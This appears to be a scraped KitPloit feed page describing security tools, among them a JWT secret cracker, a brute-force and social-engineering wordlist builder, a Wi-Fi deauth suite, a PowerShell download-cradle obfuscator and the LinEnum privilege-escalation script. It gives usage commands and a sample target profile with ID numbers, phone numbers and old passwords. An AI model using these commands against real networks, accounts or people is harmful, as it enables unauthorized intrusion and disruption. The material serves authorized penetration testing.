Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

jwt-cracker - Simple HS256 JWT Token Brute Force Cracker

$
0
0

Simple HS256 JWT token brute force cracker.
Effective only to crack JWT tokens with weak secrets.
Recommendation: Use strong long secrets or RS256 tokens.

Install
With npm:
npm install --global jwt-cracker

Usage
From command line:
jwt-cracker <token> [<alphabet>] [<maxLength>]
Where:
  • token: the full HS256 JWT token string to crack
  • alphabet: the alphabet to use for the brute force (default: "abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789")
  • maxLength: the max length of the string generated during the brute force (default: 12)

Requirements
This script requires Node.js version 6.0.0 or higher

Example
Cracking the default jwt.io example:
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
It takes about 2 hours in a Macbook Pro (2.5GHz quad-core Intel Core i7).



WS-Attacker v1.8 - Modular Framework For Web Services Penetration Testing

$
0
0

WS-Attacker is a modular framework for web services penetration testing. It is developed by the Chair of Network and Data Security, Ruhr University Bochum (http://nds.rub.de/ ) and the Hackmanit GmbH (http://hackmanit.de/ ).

The basic idea behind WS-Attacker is to provide a functionality to load WSDL files and send SOAP messages to the Web Service endpoints (which is executed using the underlying SoapUI framework). This functionality can be extended using various plugins and libraries to build specific Web Services attacks. You can find more information on the WS-Attacker architecture and its extensibility in our paper: Penetration Testing Tool for Web Services Security (https://www.nds.rub.de/research/publications/ws-attacker-paper/)

In the current version, WS-Attacker supports the following attacks:

Obtaining Runnable File
The first option to obtain a WS-Attacker jar file is from the sourceforge website: http://sourceforge.net/projects/ws-attacker/files/
The second option is to build it directly from the Github sources. For this purpose, you need:
  • Java 7 or higher
  • maven
  • git
You procede as follows. You first need to clone WS-Attacker sources (you can of course also download a ZIP file):
$ git clone https://github.com/RUB-NDS/WS-Attacker.git 
Then you go to the WS-Attacker directory and use maven to build and package the files:
$ cd WS-Attacker
$ mvn clean package -DskipTests
Afterwards, you are able to go to the runnable directory and execute WS-Attacker:
$ cd runnable
$ java -jar WS-Attacker-1.9-SNAPSHOT.jar

WS-Attacker Usage
You can find the latest documentation on XML Signature Wrapping and DoS attacks here: http://sourceforge.net/projects/ws-attacker/files/WS-Attacker%201.3/Documentation-v1.3.pdf/download
The documentation on XML Encryption attacks is currently under development, but you can find a lot of information on the XML Encryption plugin and on starting XML Encryption attacks here: http://web-in-security.blogspot.de/2015/05/how-to-attack-xml-encryption-in-ibm.html
If you want to practice the attacks and you do not have any Web Service, we encourage you to use the Apache Rampart framework. This framework provides several Web Services examples and is vulnerable to the most of the provided attacks, including XML Signature Wrapping and the attacks on XML Encryption.
See this blog post on how to use WS-Attacker to attack Apache Rampart Web Services with XML Signatures: http://web-in-security.blogspot.de/2015/04/introduction-to-ws-attacker-xml.html Similar concepts apply to the attacks with XML Encryption.
Happy Web Service hacking


PcapViz - Visualize Network Topologies and Collect Graph Statistics Based on PCAP Files

$
0
0
PcapViz visualizes network topologies and provides graph statistics based on pcap files. It should be possible to determine key topological nodes or data exfiltration attempts more easily.

Features
  • Draw network topologies (Layer 2) and communication graphs (Layer 3 and 4)
  • Network topologies contain country information and connection stats
  • Collect statistics such as most frequently contacted machines

Usage
usage: main.py [-h] [-i [PCAPS [PCAPS ...]]] [-o OUT] [-g GRAPHVIZ] [--layer2]
[--layer3] [--layer4] [-fi] [-fo]

pcap topology drawer

optional arguments:
-h, --help show this help message and exit
-i [PCAPS [PCAPS ...]], --pcaps [PCAPS [PCAPS ...]]
capture files
-o OUT, --out OUT topology will be stored in the specified file
-g GRAPHVIZ, --graphviz GRAPHVIZ
graph will be exported to the specified file (dot
format)
--layer2 derive layer2 topology
--layer3 derive layer3 topology
--layer4 derive layer4 topology
-fi, --frequent-in print frequently contacted nodes to stdout
-fo, --frequent-out print frequent source nodes to stdout

Example
Example pcap: smallFlows.pcap
Drawing a communication graph (layer 2), segment:
python main.py -i smallFlows.pcap -o small_tcp_l2.png --layer2


Drawing a communication graph (layer 3), segment:
python main.py -i smallFlows.pcap -o small_tcp.png --layer3


Drawing a communication graph (layer 4), segment:
python main.py -i smallFlows.pcap -o small_tcp_l4.png --layer4


Return most frequently contacted hosts:
python main.py -i smallFlows.pcap --layer3 --frequent-in

115 172.16.255.1
70 192.168.3.131
21 10.0.2.15
2 65.55.15.244
2 224.0.0.252
2 192.168.3.90
2 239.255.255.250
2 255.255.255.255
1 178.144.253.171
1 92.247.222.20
1 72.14.213.103
1 67.170.187.174
...

Installation
Required:
pip install -r requirements.txt
For Debian-based distros you have to install GraphViz with some additional dependencies:
apt-get install python3-dev
apt-get install graphviz libgraphviz-dev pkg-config


pydictor - A Powerful and Useful Hacker Dictionary Builder for a Brute-Force Attack

$
0
0

pydictor is a powerful and useful hacker dictionary builder for a brute-force attack.

Why I need to use pydictor ?

1. it always can help you
You can use pydictor to generate a general blast wordlist, a custom wordlist based on Web content, a social engineering wordlist, and so on. You can use the pydictor built-in tool to safe delete, merge, unique, merge and unique,  count word frequency to filter the wordlist, besides, you also can specify your wordlist and use '-tool handler' to filter your wordlist.

2. highly customized
You can generate highly customized and complex wordlist by modify multiple configuration files, add your own dictionary, using leet mode, filter by length、char occur times、types of different char、regex, even customized own encryption function by modify /lib/fun/encode.py test_encode function. its very relevant to generate good or bad password wordlist with your customized rules and skilled use of pydictor.

3. powerful and flexible configuration file parsing
 nothing to say,skilled use and you will love it.

4.great compatibility
whether you are using Python 2.7 version or Python 3.x version , pydictor can be run on Windows, Linux or Mac.

Start:
git clone --depth=1 --branch=master https://www.github.com/landgrey/pydictor.git
cd pydictor/
chmod 755 pydictor.py
python pydictor.py

Overview:

Quick to use:

types of generate wordlist(14 types)and descriptions
wordlist typenumberdescription
base1basic wordlist
char2custom character wordlist
chunk3permutation and combination wordlist
conf4based on configuration file wordlist
sedb5social engineering wordlist
idcard6id card last 6/8 char wordlist
extend7extend wordlist based on rules
scratch8wordlist based on web pages keywords
passcraper9wordlist against to web admin and users
handler10handle the input file generate wordlist
uniqifer11unique the input file and generate wordlist
counter12word frequency count wordlist
combiner13combine the input file generate wordlist
uniqbiner14combine and unique the input file generate wordlist

function and scope of support wordlist number
functionsupport numberdescription
len1 2 3 4 5 6 7 9 10 11 12 14lenght scope
head1 2 3 4 5 6 7 9 10 11 12 14add items prefix
tail1 2 3 4 5 6 7 9 10 11 12 14add items suffix
encode1 2 3 4 5 6 7 9 10 11 12 14encode the items
occur3 4 5 7 9 10 11 12 14filter by occur times of letter、digital、special chars
types3 4 5 7 9 10 11 12 14filter by types of letter、digital、special chars
regex3 4 5 7 9 10 11 12 14filter by regex
level5 7 9set the wordlist level
leet5 7 91337 mode

usage examples

1: generate the basic wordlsit based on digital lenght of 4
python pydictor.py -base d --len 4 4 --output D:\exits\or\not\dict.txt

2: encode the wordlist
python pydictor.py -base c --len 1 3 --encode b64

3: use d(digital) L(lowercase letter) c(capital letter) generating wordlist
python pydictor.py -base dLc -o /awesome/pwd

4: use customized characters generating wordlist
python pydictor.py -char "abc123._@ " --len 1 3 --tail @site

5: generate permutation and combination wordlist
python pydictor.py -chunk abc ABC 666 . _ @ "'" --head a --tail 123 --encode md5

6. extend wordlist based on rules
  1. extend function mainly directed against web application administrator to generate password
  2. You can put your own weak password wordlist in wordlist/Web,extend function will auto unique them,new wordlist will contains them
  3. You can modify funcfg/extend.conf,set prefix, suffix, prefix + suffix and middle word when extended
  4. extend function support leet mode,pick by level and pick by lenght function,you can learn more in the following
write the following information to '/names.txt'
liwell
shelly
bianji
webzhang
run command
python pydictor.py -extend /names.txt --leet 0 1 2 11 21 --level 1 --len 4 16 --occur "<=10" ">0" "<=2" -o /possbile/wordlist.lst

7: id card last 6/8 char wordlist
pydictor.py -plug pid6 --types ">=0" ">=4" ">=0" --encode b64
note: default sex ='all', it decided by lib/data/data.py default_sex, and 'm' is Male, 'f' is Female

8: using passcraper plugin crawl website generating password wordlist based on plain text found and extend rules
  1. the rules of passcraper plug and extend function are the same
  2. passcraper plug will generate two wordlist,preffix with SCRATCH is raw wordlist by website plain text, and if you feel that there are a lot of unrelated words in the SCRATCH wordlist, you can remove them, and then use the extend function to specify the new file to generate dictionary again.
  3. you can modify the funcfg/passcraper_blacklist.conf file,add or delete useless words that need to be filtered out, and also can modify lib/data/data.py file passcraper_filter argument,change the filter regular expressions
  4. with same extend function,you can put your weak password in /wordlist/Web,new wordlist will contains them
python pydictor.py -plug passcraper    using default file scraper.sites as multi-input file
python pydictor.py -plug passcraper http://www.example.com

9. using configuration file build dictionary

this function contains all of "-base" and "-char" capacities,and more precise control
python pydictor.py --conf                           using default file funcfg/build.conf build the dictionary
python pydictor.py --conf /my/other/awesome.conf using /my/other/awesome.conf build the dictionary
note: parsing rules details as following,besides referred to build.conf file

configuration parsing rules details:
 1. the basic unit of parsing is called an parsing element, an parsing element includes five elements, namely: head, character set, length range, encoding, tail, which can be omitted both head and tail;
A standard parsing element:head[characters]{minlength,maxlength}<encode-type>tail,a example parsing element:a[0-9]{4,6}<none>_
Its meaning build a dictionary that prefix is "a" , character set is 0—9, don't encode,length range is 4—6 and suffix is "_"
2. current is support parsing one line
3. one line can contains 10 parsing elements
such as:[4-6,a-c,A,C,admin]{3,3}<none>_[a,s,d,f]{2,2}<none>[789,!@#]{1,2}<none>,it contains three parsing elements
4. if annotator "#" in first place, program won't parse this line
5. conf function can build more precise dictionary up to single char

about character sets:
You can add the "-" in the middle of character sets beginning and ending to join them
and can also use "," to separate multiple character sets, or a single character, or a single string, as an element of the character set;

supported encoding:
none don't encode
b64 base64
md5 md5 digest algorithm output 32 char
md516 md5 digest algorithm output 16 char
sha1 sha1 digest algorithm
url urlencode
sha256 sha256 digest algorithm
sha512 sha512 digest algorithm

10. handle wordlist's tools

filter tool handler
specify the input file, and output the handled file
python pydictor.py -tool handler /wordlist/raw.txt --len 6 16 --occur "" "=6" "<0" --encode b64 -o /wordlist/ok.txt

safe delete tool shredder
python pydictor.py -tool shredder   delete the currently specified output path(default:results) files and all its dictionary files
python pydictor.py -tool shredder base delete the files of it's prefix is "BASE" in currently specified output path
prefix(case insensitive) range in 14 items: base,char,chunk,conf,sedb,idcard,extend,handler,uniqifer,counter,combiner,uniqbiner,scratch,passcraper
besides,you can safe shred files or whole directory as following:
python pydictor.py -tool shredder /data/mess
python pydictor.py -tool shredder D:\mess\1.zip
for improving the security delete speed, the default uses 1 times to erase and rewrite,you can modify lib/data/data.py file's file_rewrite_count and dir_rewrite_count value

remove duplicates tool uniqifer
python pydictor.py -tool uniqifer /tmp/my.dic

word frequency statistics tool counter
python pydictor.py -tool counter vs /tmp/mess.txt 100  select 100 words in /tmp/mess.txt file that appear in the most times and output to the terminal and saved to file
note: default choose 100 items to print or save;default separator is:"\n",you can modify counter_split value in lib/data/data.py file

merge dictionary tool combiner
python pydictor.py -tool combiner /my/messdir

remove duplicates after merging tool uniqbiner
python pydictor.py -tool uniqbiner /my/messdir

11: wordlist filter

filter by level function
  1. this function is currently only support extend function, passcraper plug, Social Engineering Dictionary Builder
  2. default level is 3, the lower level, the lower possibility, the more items
  3. modify funcfg/extend.conf file,customized your awesome level rules
python pydictor.py -extend bob adam sarah --level 5

use leet mode
  1. this function is currently only support extend, passcraper, Social Engineering Dictionary Builder
  2. all default unable to use leet mode, when enable, you can use multiple code at one time
  3. SEDB can enable leet mode and set code in SEDB interface
  4. enable leet mode cannot make wordlist decrease,it will increase wordlist on the basis of unable to use the leet mode

default leet table
leet char = replace char
a = 4
b = 6
e = 3
l = 1
i = 1
o = 0
s = 5

code
0   default,replace all
1 left-to-right, replace all the first encountered leet char
2 right-to-left, replace all the first encountered leet char
11-19 left-to-right, replace the first encountered leet char to maximum code-10 chars
21-29 right-to-left, replace the first encountered leet char to maximum code-20 chars

code effection table
codeold stringnew string
0as a airs trees45 4 41r5 tr335
1as a airs trees4s 4 4irs trees
2as a airs treesa5 a air5 tree5
11as a airs trees4s a airs trees
12as a airs trees4s 4 airs trees
13as a airs trees4s 4 4irs trees
14as a airs trees4s 4 4irs trees
...as a airs trees4s 4 4irs trees
21as a airs treesas a airs tree5
22as a airs treesas a air5 tree5
23as a airs treesa5 a air5 tree5
24as a airs treesa5 a air5 tree5
...as a airs treesa5 a air5 tree5
besides,you also can:
modify /funcfg/leet_mode.conf, add or delete leet table items;   
modify /lib/lib/data.py, extend_leet、passcraper_leet、sedb_leet arguments, choose some functions whether default use leet mode;
modify /lib/data/data.py,leet_mode_code argument, choose default mode code;

filter by occur times of letter、digital、special chars
--occur [scope of occur letter times] [scope of occur digital times] [scope of occur special chars times]
default occur times
"<=99" "<=99" "<=99"

filter by types of letter、digital、special chars
 --types [scope of letter types] [scope of digital types] [scope of special types]
default types
">=0" ">=0" ">=0"

12. social engineering dictionary
python pydictor.py --sedb
                              _ _      _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _` | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/

Social Engineering Dictionary Builder
Build by LandGrey
----------------------------[ command ]----------------------------
[+]help desc [+]exit/quit [+]clear/cls
[+]show option [+]set option arguments [+]rm option
[+]len minlen maxlen [+]head prefix [+]tail suffix
[+]encode type [+]occur L d s [+]types L d s
[+]regex string [+]level code [+]leet code
[+]output directory [+]run

----------------------------[ option ]----------------------------
[+]cname [+]ename [+]sname
[+]birth [+]usedpwd [+]phone
[+]uphone [+]hphone [+]email
[+]postcode [+]nickname [+]idcard
[+]jobnum [+]otherdate [+]usedchar

pydictor SEDB>>

command:
help                reload interface
help desc view the meaning for each items
exit or quit exit the program
clear or cls clear screen
show view the current settings
set set option value
rm remove option value
len select the length range
head add prefix
tail add suffix
encode encode items
occur set occur times of letter、digital、special chars
types set types of letter、digital、special chars
regex filter by regex
level select the extend level value
leet enable leet mode and choose code
output set output dictionary or file path
run build wordlist
if you have some information about someone
information itemsvalue
chinese name李伟
pinyin nameliwei
simple namelw
simple nameLwei
english namezwell
birthday19880916
used passwordliwei123456.
used passwordliwei@19880916
used passwordlw19880916_123
used passwordabc123456
phone number18852006666
used phone number15500998080
home phone76500100
company phone010-61599000
email account33125500@qq.com
email account13561207878@163.com
email accountweiweili@gmail.com
email accountwei010wei@hotmail.com
home postcode663321
now place postcode962210
common nicknamezlili
id card number152726198809160571
student id20051230
job number100563
father birthday152726195910042816
mother birthday15222419621012476X
boy/girl friend brithday152726198709063846
friend brithday152726198802083166
pet nametiger
crazy somethinggames of thrones
special meaning numbers176003
special meaning charsm0n5ter
special meaning charsppdog
now, use follwing command:
python pydictor.py --sedb
set cname liwei
set sname lw Lwei
set ename zwell
set birth 19880916
set usedpwd liwei123456. liwei@19880916 lw19880916_123
set phone 18852006666
set uphone 15500998080
set hphone 76500100 61599000 01061599000
set email 33125500@qq.com
set email 13561207878@163.com
set email weiweili@gmail.com
set email wei010wei@hotmail.com
set postcode 663321 962210
set nickname zlili
set idcard 152726198809160571
set jobnum 20051230 100563
set otherdate 19591004 19621012
set otherdate 19870906 19880208
set usedchar tiger gof gamesthrones 176003 m0n5ter ppdog
view the configuration, and build the wordlist
show
run
if you want more items wordlist, use
level 1
and, you want to filter some impossible password,
set the password lenght
len 1 16
at least one letter and at most three special char,
occur ">0" "" "<=3"
and at most two types of special char in one item,
types "" "" "<=2"
finaly, specify the output path, build wordlist again
output D:\awesome\dict\liwei_pass.txt
run
note:
  1. you can modify funcfg/sedb_tricks.conf file,change the word transform prefix, suffix and prefix+suffix rules
  2. you can put your own individual weak password wordlist in wordlist/SEDB,
  3. SEDB some little rules contains extend function

BoopSuite - A Suite of Tools for Wireless Auditing and Security Testing

$
0
0
BoopSuite is an up and coming suite of wireless tools designed to be easy to use and powerful in scope, that support both the 2 and 5 GHz spectrums. Written purely in python. A handshake sniffer (CLI and GUI), a monitor mode enabling script and a deauth script are all parts of this suite with more to come.

Another Wireless pentesting suite.
  • A wireless sniffer
  • Two gui's for the wireless sniffer (old/new)
  • A wireless deauther
  • A monitor mode enabler and disabler

What else is coming?
I am going to add scripts to do the following:
  • BoopCoil - Deauth attack detector
  • BoopDate - A script to update boopsuite
More ideas are welcome. Email me @: jacobsin1996@gmail.com

Examples:


To start sniffing:
boopsniff -i wlan1mon

To specify a channel:
boopsniff -i wlan1mon -c 6

Boop also works on the 5ghz spectrum if you have a supporting card:
boopsniff -i wlan1mon -f 5

If some processes are interfering then you can preemptively kill them with:
boopsniff -i wlan1mon -k

If you want to see unassociated clients:
boopsniff -i wlan1mon -u

If you want to filter by a specific AP mac address:
boopsniff -i wlan1mon -a xx:xx:xx:xx:xx:xx

To launch a deauth attack:
boopstrike -i wlan1mon

Deauth the 5ghz spectrum:
boopstrike -i wlan1mon -f 5

Deauth a single AP:
boopstrike -i wlan1mon -a xx:xx:xx:xx:xx:xx

Deauth everyone except one Access Point:
boopstrike -i wlan1mon -s xx:xx:xx:xx:xx:xx

New Update includes a gui tool:
boopsniff_gui

Set card to monitor mode:
boop -i wlan1

Set card to managed mode:
boop -i wlan1mon

Set card to a specific name:
boop -i wlan1 -n boop1
note: will enable or disable monitor mode accordingly.

Set channel on card:
boop -i wlan1 -c 11
Note: Will do error checking if you specify a channel the card doesnt support and is ready for cards supporting the 5GHz network.

Kill any interfering tasks:
boop -i wlan1 -k

Put it all together:
boop -i wlan1 -n boop1 -c 11 -k
NOTE: boop will always switch the mode from managed to monitor and vice versa.


Note: all pcap files will be saved in the directory ~/pcaps

Computer Usage
The sniffer which is the heaviest CPU part uses really low CPU and memory, memory which is going to shrink in upcoming versions.


More options are coming in the future.

Installation:

To install open a terminal and type:
git clone https://github.com/M1ND-B3ND3R/BoopSuite.git
cd BoopSuite
pip install -r requirements.txt
chmod +x install.py
./install.py
The setup includes creating symbolic links for the tool so it can be run from anywhere.

Upgrade:

To upgrade open a terminal and type:

Requires root to install
Root is dangerous so always check packages before running them as root. My code is not malicious, however, you should always be wary.
git clone https://github.com/M1ND-B3ND3R/BoopSuite.git
cd BoopSuite
chmod +x install.py
./install.py

Contributors:
  • M1ND-B3ND3R
  • Sean Bangerter - Proofing my readme
  • Boop - My pet ball python

In Progress:
  • Wireless card discovery in VM for kali.
  • Code Fixes will be happening.


BadIntent - Intercept, Modify, Repeat and Attack Android's Binder Transactions Using Burp Suite

$
0
0

BadIntent is the missing link between the Burp Suite and the core Android's IPC/Messaging-system. BadIntent consists of two parts, an Xposed-based module running on Android and a Burp-plugin. Based on this interplay, it is possible to use the Burp's common workflow and all involved tools and extensions, since the intercept and repeater functionality is provided. BadIntent hooks deeply into the Android system, performs various method redirections in Parcels and adds additional services to provide the described features. Most notably, BadIntent works system-wide (experimental) and is not restricted to individual user apps.

BadIntent can used to perform various pentesting activities such as the following examples:


Installation
The most handy approach is to install BadIntent Android from the Xposed Module Repository and BadIntent Burp from the Burp’s BApp Store. Both will be made available/submitted during the Arsenal presentation of BadIntent in Black Hat Las Vegas 2017.

Environment
BadIntent has been tested on Genymotion with Xposed v87 on Android Marshmallow (6.0) and Burp Suite 1.7.23 (Free and Pro).
There are known limitations in hooking all system apps and all interfaces. During the boot proccess the Android system will remain in a boot loop and you will not be able to uninstall BadIntent from your Android device. Therefore, it is strongly recommended to use the mentioned setup in case all system apps are hooked.

Configuration & Usage
Please refer to the wiki for more details.


Invoke-CradleCrafter - PowerShell Remote Download Cradle Generator and Obfuscator

$
0
0

Invoke-CradleCrafter is a PowerShell v2.0+ compatible PowerShell remote download cradle generator and obfuscator.

Purpose

Invoke-CradleCrafter exists to aid Blue Teams and Red Teams in easily exploring, generating and obfuscating PowerShell remote download cradles. In addition, it helps Blue Teams test the effectiveness of detections that may work for output produced by Invoke-Obfuscation but may fall short when dealing with Invoke-CradleCrafter since it does not contain any string concatenations, encodings, tick marks, type casting, etc.

Another important component of this research and tool development was to effectively highlight the high-level behavior and artifacts left behind when each cradle is executed. I have tried to highlight this information when you first enter a new cradle type in the interactive menus of the tool.

Ultimately, knowing more about each cradle's behavior and artifacts will help the Blue Team better detect these cradles. This knowledge should also benefit the Red Teamer in making more informed selections of which cradle to use in a given scenario.

Usage

While all of the cradles can be produced by directly calling the Out-Cradle function, the complexity of the moving pieces for all of the stacked obfuscated components makes using the Invoke-CradleCrafter function the easiest way to explorer and visualize the cradle syntaxes and obfuscation techniques that this framework currently supports.

Installation

The source code for Invoke-CradleCrafter is hosted at Github, and you may download, fork and review it from the repository. Please report issues or feature requests through Github's bug tracker associated with this project.

To install:
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

Release Notes
v1.0 - 2017-04-28 x33fcon (Gdynia, Poland): PUBLIC Release of Invoke-CradleCrafter.
v1.1 - 2017-05-11 NOPcon (Istanbul, Turkey): Added 3 new memory-based cradles:
  • PsComMsXml
  • PsInlineCSharp
  • PsCompiledCSharp Added 2 disk-based cradles:
  • PsBits
  • BITSAdmin

Plasma - An Interactive Disassembler for x86/ARM/MIPS

$
0
0

PLASMA is an interactive disassembler. It can generate a more readable assembly (pseudo code) with colored syntax. You can write scripts with the available Python api (see an example below). The project is still in big development.

wiki : TODO list and some documentation.

It supports :
  • architectures : x86{64}, ARM, MIPS{64} (partially for ARM and MIPS)
  • formats : ELF, PE, RAW
Warning: until structures and type definitions are not implemented, the database compatibility could be broken.

Requirements
Optional :
  • python-qt4 used for the memory map
  • keystone for the script asm.py

Installation
./install.sh
Or if you have already installed requirements with the previous command :
./install.sh --update
Check tests :
make
....................................................................................
84/84 tests passed successfully in 2.777975s
analyzer tests...
...

Pseudo-decompilation of functions
$ plasma -i tests/server.bin
>> v main
# you can press tab to show the pseudo decompilation
# | to split the window
# See the command help for all shortcuts

Qt memory map (memmap)
The image is actually static.

Scripting (Python API)
See more on the wiki for the API.
Some examples (these scripts are placed in plasma/scripts) :
$ plasma -i FILE
plasma> py !strings.py # print all strings
plasma> py !xrefsto.py FUNCTION # xdot call graph
plasma> py !crypto.py # detect some crypto constants
plasma> py !asm.py CODE # assemble with keystone
plasma> py !disasm.py HEX_STRING # disassemble a buffer



Vulscan - Advanced vulnerability scanning with Nmap NSE

$
0
0

Vulscan is a module which enhances nmap to a vulnerability scanner. The nmap option -sV enables version detection per service which is used to determine potential flaws according to the identified product. The data is looked up in an offline version of VulDB.

Installation
Please install the files into the following folder of your Nmap installation:
Nmap\scripts\vulscan\*

Usage
You have to run the following minimal command to initiate a simple vulnerability scan:
nmap -sV --script=vulscan/vulscan.nse www.example.com

Vulnerability Database
There are the following pre-installed databases available at the moment:

Single Database Mode
You may execute vulscan with the following argument to use a single database:
--script-args vulscandb=your_own_database
It is also possible to create and reference your own databases. This requires to create a database file, which has the following structure:
<id>;<title>
Just execute vulscan like you would by refering to one of the pre-delivered databases. Feel free to share your own database and vulnerability connection with me, to add it to the official repository.

Update Database
The vulnerability databases are updated and assembled on a regularly basis. To support the latest disclosed vulnerabilities, keep your local vulnerability databases up-to-date.
If you want to update your databases, go to the following web site and download these files:
Copy the files into your vulscan folder:
/vulscan/

Version Detection
If the version detection was able to identify the software version and the vulnerability database is providing such details, also this data is matched.
Disabling this feature might introduce false-positive but might also eliminate false-negatives and increase performance slighty. If you want to disable additional version matching, use the following argument:
--script-args vulscanversiondetection=0
Version detection of vulscan is only as good as Nmap version detection and the vulnerability database entries are. Some databases do not provide conclusive version information, which may lead to a lot of false-positives (as can be seen for Apache servers).

Match Priority
The script is trying to identify the best matches only. If no positive match could been found, the best possible match (with might be a false-positive) is put on display.
If you want to show all matches, which might introduce a lot of false-positives but might be useful for further investigation, use the following argument:
--script-args vulscanshowall=1

Interactive Mode
The interactive mode helps you to override version detection results for every port. Use the following argument to enable the interactive mode:
--script-args vulscaninteractive=1

Reporting
All matching results are printed one by line. The default layout for this is:
[{id}] {title}\n
It is possible to use another pre-defined report structure with the following argument:
--script-args vulscanoutput=details
--script-args vulscanoutput=listid
--script-args vulscanoutput=listlink
--script-args vulscanoutput=listtitle
You may enforce your own report structure by using the following argument (some examples):
--script-args vulscanoutput='{link}\n{title}\n\n'
--script-args vulscanoutput='ID: {id} - Title: {title} ({matches})\n'
--script-args vulscanoutput='{id} | {product} | {version}\n'
Supported are the following elements for a dynamic report template:
  • {id} - ID of the vulnerability
  • {title} - Title of the vulnerability
  • {matches} - Count of matches
  • {product} - Matched product string(s)
  • {version} - Matched version string(s)
  • {link} - Link to the vulnerability database entry
  • \n - Newline
  • \t - Tab
Every default database comes with an url and a link, which is used during the scanning and might be accessed as {link} within the customized report template. To use custom database links, use the following argument:
--script-args "vulscandblink=http://example.org/{id}"

Disclaimer
Keep in mind that this kind of derivative vulnerability scanning heavily relies on the confidence of the version detection of nmap, the amount of documented vulnerebilities and the accuracy of pattern matching. The existence of potential flaws is not verified with additional scanning nor exploiting techniques.


Pafish - Tool to Detect Sandboxes and Analysis Environments in the Same Way as Malware Families Do

$
0
0

Pafish is a demonstration tool that employs several techniques to detect sandboxes and analysis environments in the same way as malware families do.
The project is open source, you can read the code of all anti-analysis checks.

Scope
The objective of this project is to collect usual tricks seen in malware samples. This allows us to study them, and test if our analysis environments are properly implemented.

Build
Pafish is written in C and can be built with MinGW (gcc + make).
Check out "How to build" for detailed instructions.

Author
Alberto Ortega (@a0rtega - profile)

You can also download the executable of the latest stable version.

LinEnum v0.6 - Scripted Local Linux Enumeration and Privilege Escalation Checks

$
0
0

LinEnum will automate many of the checks that I’ve documented in the Local Linux Enumeration & Privilege Escalation Cheatsheet. It’s a very basic shell script that performs over 65 checks, getting anything from kernel information to locating possible escalation points such as potentially useful SUID/GUID files and Sudo/rhost mis-configurations and more.

General usage:
version 0.6
  • Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t

OPTIONS:
  • -k Enter keyword
  • -e Enter export location
  • -t Include thorough (lengthy) tests
  • -r Enter report name
  • -h Displays this help text
Running with no options = limited scans/no output file
  • -e Requires the user enters an output location i.e. /tmp/export. If this location does not exist, it will be created.
  • -r Requires the user to enter a report name. The report (.txt file) will be saved to the current working directory.
  • -t Performs thorough (slow) tests. Without this switch default 'quick' scans are performed.
  • -k An optional switch for which the user can search for a single keyword within many files (documented below).

High-level summary of the checks/tasks performed by LinEnum:
  • Kernel and distribution release details
  • System Information:
    • Hostname
    • Networking details:
    • Current IP
    • Default route details
    • DNS server information
  • User Information:
    • Current user details
    • Last logged on users
    • Shows users logged onto the host
    • List all users including uid/gid information
    • List root accounts
    • Extracts password policies and hash storage method information
    • Checks umask value
    • Checks if password hashes are stored in /etc/passwd
    • Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
    • Attempt to read restricted files i.e. /etc/shadow
    • List current users history files (i.e .bash_history, .nano_history etc.)
    • Basic SSH checks
  • Privileged access:
    • Determine if /etc/sudoers is accessible
    • Determine if the current user has Sudo access without a password
    • Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.)
    • Is root’s home directory accessible
    • List permissions for /home/
  • Environmental:
    • Display current $PATH
    • Displays env information
  • Jobs/Tasks:
    • List all cron jobs
    • Locate all world-writable cron jobs
    • Locate cron jobs owned by other users of the system
  • Services:
    • List network connections (TCP & UDP)
    • List running processes
    • Lookup and list process binaries and associated permissions
    • List inetd.conf/xined.conf contents and associated binary file permissions
    • List init.d binary permissions
  • Version Information (of the following):
    • Sudo
    • MYSQL
    • Postgres
    • Apache
      • Checks user config
      • Shows enabled modules
  • Default/Weak Credentials:
    • Checks for default/weak Postgres accounts
    • Checks for default/weak MYSQL accounts
  • Searches:
    • Locate all SUID/GUID files
    • Locate all world-writable SUID/GUID files
    • Locate all SUID/GUID files owned by root
    • Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc)
    • List all world-writable files
    • Find/list all accessible *.plan files and display contents
    • Find/list all accessible *.rhosts files and display contents
    • Show NFS server details
    • Locate *.conf and *.log files containing keyword supplied at script runtime
    • List all *.conf files located in /etc
    • Locate mail
  • Platform/software specific tests:
    • Checks to determine if we're in a Docker container
    • Checks to see if the host has Docker installed

APKiD - Android Application Identifier for Packers, Protectors, Obfuscators and Oddities

$
0
0

APKiD gives you information about how an APK was made. It identifies many compilers, packers, obfuscators, and other weird stuff. It's PEiD for Android.
For more information on what this tool can be used for, check out:

Installing
The yara-python clone and compile steps here are temporarily necessary because we must point directly to our modified version of a Yara branch which includes our DEX Yara module. This step is nessecary until (if?) the original maintainers of Yara merge our module into the master branch. When this happens, we will undate the instructions here. After the yara-python fork is compiled, you can use pip to the most currently published APKiD package.
git clone https://github.com/rednaga/yara-python
cd yara-python
python setup.py install
pip install apkid

Usage
usage: apkid [-h] [-j] [-t TIMEOUT] [-o DIR] [FILE [FILE ...]]

APKiD - Android Application Identifier v1.0.0

positional arguments:
FILE apk, dex, or directory

optional arguments:
-h, --help show this help message and exit
-j, --json output results in JSON format
-t TIMEOUT, --timeout TIMEOUT
Yara scan timeout (in seconds)
-o DIR, --output-dir DIR
write individual JSON results to this directory

Submitting New Packers / Compilers / Obfuscators
If you come across an APK or DEX which APKiD does not recognize, please open a GitHub issue and tell us:
  • what you think it is
  • the file hash (either MD5, SHA1, SHA256)
We are open to any type of concept you might have for "something interesting" to detect, so do not limit yourself solely to packers, compilers or obfuscators. If there is an interesting anti disassembler, anti vm, anti* trick, please make an issue.
You're also welcome to submit pull requests. Just be sure to include a file hash so we can check the rule.

Hacking
First you will need to install the specific version of yara-python the project depends on (more information about this in the Installing section):
git clone https://github.com/rednaga/yara-python
cd yara-python
